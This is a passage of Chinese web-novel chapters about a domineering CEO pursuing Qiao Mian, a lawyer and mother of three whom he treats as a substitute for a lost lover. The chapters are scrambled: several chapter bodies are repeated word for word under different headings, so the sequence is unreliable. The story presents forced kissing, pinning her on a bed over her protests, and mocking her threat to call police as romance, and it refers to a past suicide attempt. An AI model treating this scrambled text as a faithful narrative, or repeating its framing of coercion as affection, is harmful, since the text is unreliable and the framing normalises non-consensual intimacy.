随手将手机用力扔到了桌子上。 “霍总,发生什么事情了?” 他甚至猜测霍总生气,大概和乔眠有关系。 现在,乔眠那个女人的一言一行,已经彻底能够影响到霍总了。 此时,霍宴北脸色黑沉沉的,目光岑冷的瞪了一眼陈珂,“乔眠在几天前已经在办离职手续了,你不知道?” 陈珂对此也很吃惊。 见霍总脸色很差,急忙解释,“抱歉,霍总,乔眠几次请假是回原单位,没什么异常情况,所以,就没仔细去盯……” 霍宴北烦乱的摁着眉心,“温董说乔眠能拿出来六十万块钱的违约金。” “六十万?这比乔眠三年的工资都多啊。” 陈珂震惊道,“乔律师怎么可能拿得出来六十万块钱?难不成,她把自己……” 还未说完,男人投射过来一记冷刀子。 陈珂立马闭嘴了。 办公室里安静了许久后,霍宴北吩咐道,“务必查清楚乔眠那六十万块钱的来源。” “是。” 陈珂仔细一想,问道,“霍总,既然温董特意给您打了这通电话,说明乔律师的离职手续被压下来了,但一直压着,毕竟不是长久之计,您预备怎么做?” 霍宴北起身走到落地窗前,点了一根烟咬进嘴里,没有抽,又烦躁的折断,丢进了垃圾桶里。 “我要乔眠入职霍氏。” 陈珂擦了一把冷汗,“可是,要乔律师入职霍氏,那前提是,她得从荣华正式办完离职手续才行,可是,一旦乔律师办了这个离职手续,她就是一个自由人,至于要不要入职霍氏,就得看乔律师的意思了。” 说到这里,他又补充了一句,“前些天,您给了她一份劳务合同,还是高新,她都没有接受,一旦,她真的从荣华离职,霍总,乔律师是不可能入职霍氏的。” 霍宴北眉头紧锁,脸色更是冷的吓人,“那就想办法让她暂且无法从荣华离职。” 说到这里,他眼眸变得幽深起来,“乔眠想离开荣华,离开霍氏不假,可她不可能拿得出六十万,所以,这背后肯定有人帮她。” 第121章 离开是不可能的 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经死了。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕自杀,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第122章 跟着她一起回家 乔眠听到‘霍沉’这名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第123章 他跟孩子们在一起的样子 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经死了。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕自杀,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第124章 床上的吻 霍宴北看完顾淮年的微信后,第一反应是看向乔慕城和乔慕野。 这孩子……真的跟他很像? 旋即,他又反应过来一件事,顾淮年好像不认识乔慕城和乔慕野。 如果他真的跟乔眠在一起了,怎么会没见过这俩孩子? 为了确认这点,他再次回了一条微信,【这是乔眠的孩子。】 不出三秒,顾淮年的电话直接炸了过来。 霍宴北不好当着孩子们的面讲电话,客厅又太小,他随手推开了一间卧室,关上门后,按了接听键。 不出所料,顾淮年咋呼的声音传来,“姓霍的,你故意逗我呢?乔眠不是有个女儿吗?怎么又凭空冒出两个儿子?” 霍宴北靠站在窗前,一边打量着简陋的卧室,一边勾着唇角回道,“这两个小男孩,一个叫乔慕城,一个叫乔慕野,确实是乔眠的孩子。” “什……什么么?” 顾淮年震惊的嗓子都破音了,“你是说……乔眠有三个娃?” 男人语带嘲讽:“你不是乔眠的男朋友?怎么连她有三个孩子都不知道?” “……” 顾淮年被问得半响憋不出一个字。 就在他绞尽脑汁想找个理由圆过去时,霍宴北直接摊牌了,“姓顾的,你拐带乔眠陪你扮演情侣对付我这事,看在兄弟一场的份上,我不与你计较,但是,现在我告诉你,乔眠这个女人,我要定了,你再敢掺和,别怪我不客气。” 谎言被戳破,顾淮年干脆破罐子破摔,硬气回怼:“如果乔眠不是长得像霍妩,你还会多看她一眼吗?宴北,你拿她当霍妩的替身,又不爱她,却还像占有她、掌控她,这对乔眠公平吗?” “那你利用她对付我的时候,又拿她当什么了?” 男人反问。 顾淮年噎了一下。 一口气堵在胸腔里,闷得难受。 他确实利用了乔眠,目的是帮宋蔓把霍宴北拽回来,守住她的婚姻。 可假扮情侣,他是和乔眠达成共识的。 不算是利用。 但是,霍宴北争抢乔眠的原因,是纯粹的玩弄。 如果有一天,他腻了,不需要乔眠这个替身了,她又该如何自处? 想到乔眠可能以后会面临的不幸,顾淮年心里竟是隐隐有些心疼这个女人。 “宴北,既然你把话都说到这个份上了,那我也明确告诉你,我偏要跟你争一争乔眠,各凭手段吧。” 霍宴北轻笑一声,直接挂了电话。 然后,刻意拍了一张卧室小床的照片,发了过去。 顾淮年气得只冒烟,接连发了十来条语音消息。 霍宴北知道没什么好听的话,一条都没点开。 心情莫名好了很多。 这才有功夫仔细打量这间小卧室。 只有一张小床,和一张电脑桌,连个像样的衣柜都没有。 卧室除了干净整洁,没有一点能入眼的。 当目光瞥到床尾衣架上挂着的女人蕾丝胸衣时,男人性感的喉结上下滑动,嗓子莫名有些发紧。 他目光如灼,丈量着尺寸哦同时,不禁想到了阿妩。 阿妩那时候虽然胖,但,胸并不是那种臃肿的大。 阿妩胸型很美…… “霍总,你怎么擅自进我的卧室?” 看得出神时,乔眠忽然走了进来,语气里充满紧张和怨气。 注意到他的目光落在她的内衣上时,乔眠急忙走过去,把内衣取下来,塞进枕头下。 “霍总,你是变态吗?” 乔眠瞪了他一眼。 霍宴北被她幼稚的举动逗笑。 一把扯住她的胳膊,将人揽进怀里,“藏有用吗?我又不是没摸过。” “你……” 乔眠一把推开他,不知道该说什么了。 “吃饭!” 她憋出两个字,准备走时,男人从身后紧紧抱住了她,薄唇擦过她绯红的耳蜗,“小骗子,我刚才跟顾淮年证实过了,你们根本没有在一起。” 乔眠错愕了一下。 没想到顾淮年这家伙这么快就缴械了。 那她也不必装了,“没有顾淮年,我将来也会有其他男人,霍总,你管的过来吗?” 霍宴北猛地将她身体掰过来,手臂用力一提,将她整个人纳入怀中,极具压迫性的眼神盯着她,“你敢再招惹别的男人试试?” 乔眠仰着小脸,目带嘲讽的与他对视,“霍总,请问,你是我什么人?凭什么干预我的生活?不允许我有别的男人?难道……” 说到这里,她冷笑一声,“难道霍总要娶我?” 她故意拿话噎他。 因为,她知道,即便是曾经的霍妩,霍宴北也不曾想过娶她。 何况,现在的她,在他眼里,只是一个替身而已。 好在,霍宴北很诚实,“除了娶你,我什么都能满足你。” 乔眠冷冷推走环抱在她腰上的手臂,“除了婚姻,如果霍总真的能够什么都满足我的话,那么请霍总以后不要再缠着我……唔。” 下一瞬,男人搂着她的身体,一个转身,直接将她抵在身后的墙壁上,用力吻住了她的唇。 “混蛋……” 她支吾着骂了一声,很快就被他的越来越强势的吻堵的只剩下虚弱的喘息声。 男女力量上的悬殊,注定最后,她只有乖乖服从的份儿。 霍宴北是顺毛驴,越是跟他反着来,越能激发出他变态的逆反心理。 关键孩子们还在客厅,她不敢闹出动静来,故作温顺下来,配合的跟他吻了一会儿,推他的肩膀,“吃饭……我饿了。” 此时,两人已经倒在了床上,男人攥起她的小手,放在皮带上,在她耳边呼吸浓重,“乖,你先出去,我缓一会儿。” 乔眠猛地抽回小手,红着脸,从他身下逃开了。 卧室门关上后,霍宴北躺在散发着专属于女人身上那股清甜香的小床上,一只手搭在冒着薄汗的额头上,腰腹处紧绷的让他快要熬不住。 他再一次清醒的认知到,他对乔眠的身体很感兴趣。 他想跟她发生关系…… 迫切的想…… …… “妈妈,你的脸怎么这么红啊。” 乔眠将饭菜端到餐桌上,招呼孩子们吃饭时,乔慕心眼尖的指着她小脸,好奇的问。 第125章 扎他的心 “妈妈,你的脸怎么这么红啊。” 乔眠将饭菜端到餐桌上,招呼孩子们吃饭时,乔慕心眼尖的指着她小脸,好奇的问。 乔眠表情不自然的摸了一把脸,随口回了一句:“热的……” 乔慕城望向卧室的方向,“霍叔叔呢?我们不叫他出来吃饭吗?” 刚说完,霍宴北从卧室走了出来。 他脱了外套,黑衬衫将他宽肩窄腰大长腿的身材彰显的淋漓尽致。 头发和脸还沾水渍,几滴水珠落入敞开一颗扣子的领口内,显得气质格外禁欲。 想到刚才,他将她困在身下深吻的一幕,乔眠脸颊更红了。 霍宴北径直在她身边的位置坐下,看着餐桌上摆着的三菜一汤,不禁勾了下唇角,“乔律师烧的一手好菜。” 乔慕心弯着眉眼,“我妈妈做饭最好吃了,霍叔叔,你要吃一点哦。” 霍宴北宠溺的揉揉她的小脑袋。 乔慕城和乔慕野是个行动派,笨拙的用筷子夹了他们最喜欢的红烧肉,刚要放进霍宴北碗里时,乔眠伸手一挡,“霍叔叔不吃荤的。” 这句话冒出后,她恨得想把舌头咬掉。 要怪就怪她以前对霍宴北的生活习惯实在太了解了。 下意识就作出了本能反应。 果然,说完这句话,霍宴北撩起薄薄的眼皮,晦暗莫测的盯着她。 乔眠低着脑袋,感觉身体都要被他盯穿了。 短暂的沉默后,男人意味深长的嗓音传来,“没想到乔律师对我的生活习惯这么了解。” 就连三个孩子也同样看着她。 乔慕心声音糯叽叽的问,“妈妈,霍叔叔为什么不吃肉肉啊?” 乔眠不太自然的扯了下嘴角,“妈妈听霍叔叔的一个朋友说的……” 她意有所指。 再次把锅扣在了顾淮年身上。 也算是回答了他的疑惑。 霍宴北半信半疑的轻笑一声,没再问下去。 可心里到底还是生了疑惑。 这世上,除了他母亲,对他的喜好忌口,了解的很彻底的,只有阿妩。 他不相信,乔眠和顾淮年在一起时,会无聊到谈论另一个男人的喜好问题。 “霍叔叔,你为什么不吃肉肉啊?” 两人沉默对峙时,没有得到回应的乔慕心,转头问正主。 霍宴北脸色微微僵硬,薄唇紧抿了一下,没有说话。 乔眠揉了揉女儿的小脑袋,往她碗里夹了一些青菜,转移她的注意力:“心心,不可以挑食啊,多吃点青菜。” “啊……好吧。” 乔慕心是个肉食动物,最讨厌吃青菜了。 现在妈妈往她碗里夹青菜,她瞅的小脸马上就跨了下来。 也没心思问问题了。 乔眠之所以不愿意孩子们继续问下去,是不想让霍宴北心里不舒服。 当年,和霍宴北在一起时,她听霍家老宅的老佣人提过,霍宴北本来不忌荤的,但是,后来,出了那场车祸,他被人从车上救了下来。 撑着最后一丝意识,亲眼目睹他母亲深陷车里,汽车着火,将他母亲活活烧死后,他就没再吃过肉。 甚至是厌恶荤腥。 以前在一起时,她变着花样做菜。 做的都是各种各样素菜。 此刻,看到他一言不发的安静吃饭,乔眠就知道,他肯定又想起了母亲的死一事。 好在乔慕城和乔慕野很会察言观色,也没再多说话。 晚饭在沉默中结束后,已经九点半。 乔眠没来得及洗碗,先招呼孩子们去洗澡。 等孩子们乖乖回卧室后,乔眠回到客厅时,霍宴北正坐在沙发上,脑袋枕在靠背上闭目养神。 听到动静,他抬起眼皮,眼睛里充斥着红血丝,看了她一眼,“想赶我走?” 乔眠抿唇,“霍总,你该回家了。” “家?”他一把攥住她的一条胳膊,将人拉到了他怀里坐着。 乔眠唯恐他又要亲她,急忙推他,“孩子们在……” 还未说完,霍宴北打横将她抱了起来,径直朝她的卧室走去。 乔眠吓得打他肩膀,却又怕闹出动静惊动孩子们。 只好任由霍宴北抱着她进了卧室。 刚被放到床上,她推开他就要起身时,霍宴北手臂一收,将娇小薄弱的她摁在怀里,一起躺在了床上。 他连鞋子都没有脱。 他身高过高,躺下来时,比床还要长,一截小腿搭在床尾下。 “霍宴北,你再这样,我就报警!” 摆脱不掉他的怀抱,乔眠气恼的瞪着他,放狠话。 霍宴北不紧不慢的掏出手机,打出110三数字后,放在她手里,“嗯,你报。” 乔眠气得不轻,抬起膝盖就要踹他,却被他预判到。 男人掌心收拢,紧扣住她的膝盖。 顺势分开她的腿,缠放在他腰上。 这个姿势,暧昧又危险。 乔眠一下子不敢乱动了。 霍宴北见她终于温驯下来,幽幽的叹了一声,额头抵着她的,薄唇一边轻轻啄着她的唇角,一边低声呢喃道,“我小时候,父亲跟别的女人在一起了,我的家就已经破败不堪了,之后,从我母亲去世后,我就彻底没有家了……” 乔眠推他的动作微微一滞。 男人高挺的鼻尖蹭了蹭她的,继续道,“后来,我有了妹妹阿妩,她再次让我有了家的感觉,可是,后来,阿妩离开了,我的家再一次散了……” 说到最后,他嗓音越来越低哑。 乔眠甚至能听到声音中带着的一丝颤抖。 霍宴北是一个内心相当自闭的人,即便是以前,也极少跟她说这些心里话。 偶尔会在喝醉时,在她怀里说过一些关于他母亲的事情。 只不过,都是些只言片语。 但她也从霍家的佣人口中知道一些他母亲和父亲的事情。 听着这些话,乔眠心情很复杂。 若是以前,她会心疼的抱着他,想尽办法缓解他的情绪,可现在—— 乔眠轻轻推开他,“霍宴北,这是我的家,你强行占据进来,也没有你的位置,况且,你需要的也不是我这个家,不是吗?” 霍宴北伸手抚了抚她的长发,“以前的阿妩,从来不会在我最脆弱的时候扎我的心。” 第126章 不愿意到这个程度 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 